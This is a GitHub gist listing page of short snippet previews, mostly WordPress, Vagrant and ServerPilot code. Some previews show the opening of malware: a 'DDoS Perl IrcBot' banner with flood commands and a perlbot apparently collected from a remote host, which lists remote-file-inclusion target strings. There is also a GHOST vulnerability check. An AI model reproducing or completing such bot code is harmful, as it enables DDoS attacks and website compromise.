Skip to content

Instantly share code, notes, and snippets.

View tlongren's full-sized avatar
🎯
Focusing

Tyler Longren tlongren

🎯
Focusing
View GitHub Profile
@tlongren
tlongren / Composer.json
Created March 29, 2015 03:54
Composer.json for WordPress Plugin
{
"name": "plugin-name/plugin",
"description": "Your plugin description",
"keywords": ["wordpress", "plugin", "private"],
"homepage": "https://longrendev.io/",
"license": "proprietary",
"authors": [
{
"name": "Tyler Longren",
"email": "tyler@longren.io",
<?php
/**
* Plugin Name: Email Confirmation
* Description: Send an email to the user with confirmation code and store form data in database until user confirms.
* Author: Cedric Ruiz
*/
class EmailConfirmation
{
const PREFIX = 'email-confirmation-';
@tlongren
tlongren / template-portfolio-change-sort.php
Last active September 10, 2015 11:13
Fixed StanleyWP portfolio grid
<?php
/**
Template Name: Portfolio
*
*
* @file template-portfolio.php
* @package StanleyWP
* @author Brad Williams & Carlos Alvarez
* @copyright 2003 - 2014 Gents Themes
* @license license.txt
@tlongren
tlongren / vagrant-output
Created February 7, 2015 21:19
vagrant up output
[tyler:...shotgunsoftware_www/vagrant]$ vagrant up (tweak-announcement✱)
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Checking if box 'hansode/centos-5.2-x86_64' is up to date...
==> default: Clearing any previously set forwarded ports...
==> default: Fixed port collision for 80 => 8080. Now on port 2200.
==> default: Fixed port collision for 22 => 2222. Now on port 2201.
==> default: Clearing any previously set network interfaces...
==> default: Preparing network interfaces based on configuration...
default: Adapter 1: nat
==> default: Forwarding ports...
#!/usr/bin/perl
######################################################################################################################
######################################################################################################################
## DDoS Perl IrcBot v1.0 / 2012 by w0rmer Security Team ## [ Help ] #########################################
## Stealth MultiFunctional IrcBot writen in Perl #######################################################
## Teste on every system with PERL instlled ## !u @system ##
## ## !u @version ##
## This is a free program used on your own risk. ## !u @channel ##
## Created for educational purpose only. ## !u @flood ##
/*
* GHOST vulnerability check
* http://www.openwall.com/lists/oss-security/2015/01/27/9
* Usage: gcc GHOST.c -o GHOST && ./GHOST
*/
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
@tlongren
tlongren / midx
Created January 28, 2015 19:06
Some type of perlbot from http://209.236.71.188/midx
#!/usr/bin/perl
# ------------------------------------------------------------- #
# LinuxNet perlbot #
# ------------------------------------------------------------- #
my $processo = '-';
my @titi = ("index.php?page=","main.php?page=");
@tlongren
tlongren / strip-http-https
Created December 22, 2014 12:22
Convert Images to be Relative
function image_to_relative($html, $id, $caption, $title, $align, $url, $size, $alt) {
$sp = strpos($html,"src=") + 5;
$ep = strpos($html,"\"",$sp);
$imageurl = substr($html,$sp,$ep-$sp);
$relativeurl = str_replace("http://","",$imageurl);
$sp = strpos($relativeurl,"/");
$relativeurl = substr($relativeurl,$sp);
@tlongren
tlongren / serverpilot-install.sh
Created October 25, 2014 02:13
ServerPilot Install LAMP Stack
(test -e /usr/bin/wget || (sudo apt-get update &amp;&amp; sudo apt-get -y install wget)) &amp;&amp;
sudo wget -nv -O serverpilot-installer.py https://download.serverpilot.io/serverpilot-installer.py &amp;&amp;
sudo python serverpilot-installer.py
--server-id=THIS_WILL_BE_PROVIDED_FOR_YOU
--server-apikey=THIS_WILL_BE_PROVIDED_FOR_YOU
@tlongren
tlongren / serverpilot-all-server-request-result.json
Last active August 29, 2015 14:08
ServerPilot API: Request All Servers and JSON Response
{
"data": [
{
"id": "FqHWrrcUfRI18F0l",
"name": "www1",
"autoupdates": true,
"firewall": true,
"lastaddress": "1.2.3.4",
"lastconn": 1403130552,
"datecreated": 1403130551